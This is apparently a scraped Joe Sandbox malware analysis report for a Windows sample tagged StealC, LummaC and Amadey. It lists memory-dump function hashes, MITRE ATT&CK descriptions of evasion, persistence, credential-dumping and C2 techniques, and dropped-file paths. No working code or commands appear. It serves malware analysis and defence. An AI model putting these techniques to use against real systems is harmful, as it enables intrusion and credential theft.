Instruction Fuzzy Hash: 47F096D6588290EE424AD699C39C2FE3EDFFA97730330C5EEB0478EE01A6A54D445762

Function 053C0C33 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a76125ee019e12c95516bbc1a8f888847cc08dc5879dacdceb0ba3ff08ea1a8c
Instruction ID: 1439e8b9f88e8886c4f9b855bcfe8920d3bb76f95aff965e3d0ea1be0c1ba58e
Opcode Fuzzy Hash: a76125ee019e12c95516bbc1a8f888847cc08dc5879dacdceb0ba3ff08ea1a8c
Instruction Fuzzy Hash: EDF0F6DB588380EE4209D7D5C38C2FE2EDFBA8763033085FEB0038EE0195A04D445392

Function 053C0C48 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182f80ec4c8539332c33363d46e0f14466b4eb9fdfc977616d539e6dbc188e47
Instruction ID: 5654fcd77450c2f559ce07762f00e0dc57dbc750b377b92fcc0a34fe3af4226f
Opcode Fuzzy Hash: 182f80ec4c8539332c33363d46e0f14466b4eb9fdfc977616d539e6dbc188e47
Instruction Fuzzy Hash: 92F0F6B6688350EF8359EB9583CC1EE7EEBBA8763033084BDB0038FA05E6618C445741

Function 053C0C74 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f449f234a347872aade772b8824f3233933ddff6412b27117015567b4195b1
Instruction ID: 10fc7603807073dce5147f2cca55d335f6b55d81be85a4d0d789834006939e9d
Opcode Fuzzy Hash: 09f449f234a347872aade772b8824f3233933ddff6412b27117015567b4195b1
Instruction Fuzzy Hash: 90E037A6549250E94609D795C39C6FE3EDBBA8763073085AEB0078FE0195614D445751

Function 053C0C81 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6a0a1f050d47aaf99e073ac5b29ec3701305034163dddab18bb32f2bbef9d4
Instruction ID: 1b75a273f6a59027cba0e29c087a1c37feb70afb39430a180a1121cd187aa44e
Opcode Fuzzy Hash: 7e6a0a1f050d47aaf99e073ac5b29ec3701305034163dddab18bb32f2bbef9d4
Instruction Fuzzy Hash: 5AF0ECA7644251ED860ADB96C34C56F7F9AFAC363033088BEA047CFA02E6618D455791

Function 053C0C94 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d050f8e338af03e9e513ada50f5486861fcfcd1fe36b179b8e2192d7f95b73
Instruction ID: 5e0044276a76c8f2a4d29dd91b4f4d4d70104546e5a33cd3ea29a21e108e5c63
Opcode Fuzzy Hash: 19d050f8e338af03e9e513ada50f5486861fcfcd1fe36b179b8e2192d7f95b73
Instruction Fuzzy Hash: DCE06DE6648241EE9605DB95C78C6BE7F9AFAC763033088BAF0078AA02E5618D415662

Function 053C0CA5 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff41ea2e9dc4e3968ac09ab7b3b2a7b26b580a2240c49425754906032d726f53
Instruction ID: 069cfec9293d4e5c353af98a619a213a1834088731db2badba9e52e7eaccee36
Opcode Fuzzy Hash: ff41ea2e9dc4e3968ac09ab7b3b2a7b26b580a2240c49425754906032d726f53
Instruction Fuzzy Hash: F5E061E7404580CFD6119554D59D2DE7F4BE7116703304979D8134B903E5A14C468393

Function 053C0CCF Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6338b18c41204731f092e9aaaa5c1a1823787d8b6993e7090a80de6bebb254
Instruction ID: 80d28ce50e459dbc3254b9c8e3876f8f87531bf7582c456f92fa23435b7307d4
Opcode Fuzzy Hash: ac6338b18c41204731f092e9aaaa5c1a1823787d8b6993e7090a80de6bebb254
Instruction Fuzzy Hash: 95E0CDF7541040DE8611D599D9CD5AE7F69FA4663433048ADF4024B400B65089409792

Function 053C0CE6 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eac64b2c51436d3cfda3237bbce29f667c7f851955540276cf5bcedd16a7ef6
Instruction ID: 5bebb7b542ee43666edde2e591fd3b92f758e20c7b9aaeaade38a51cf3d3731e
Opcode Fuzzy Hash: 2eac64b2c51436d3cfda3237bbce29f667c7f851955540276cf5bcedd16a7ef6
Instruction Fuzzy Hash: F2D0A7A7684551998A00E995CB9C6EE2E15F9935313314569950209006B951CD0087E3

Function 053C0CF7 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e67eb2488ec4635b6a5b3292bcaa89f9181bc54ba9d60503c064a0c6d5496e
Instruction ID: b047f2905423a30983c5271c9b9ee63b11a3758606bc05c67c702bcd54ff264d
Opcode Fuzzy Hash: 90e67eb2488ec4635b6a5b3292bcaa89f9181bc54ba9d60503c064a0c6d5496e
Instruction Fuzzy Hash: 29C08CEB640002588620AAF6C6CC2EF6F25F983470331083AE0024A102BA8286099AE1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\U2242U1STHGPPKHG.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YQEN9A9QU4P1VROBPV5YS.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe

C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre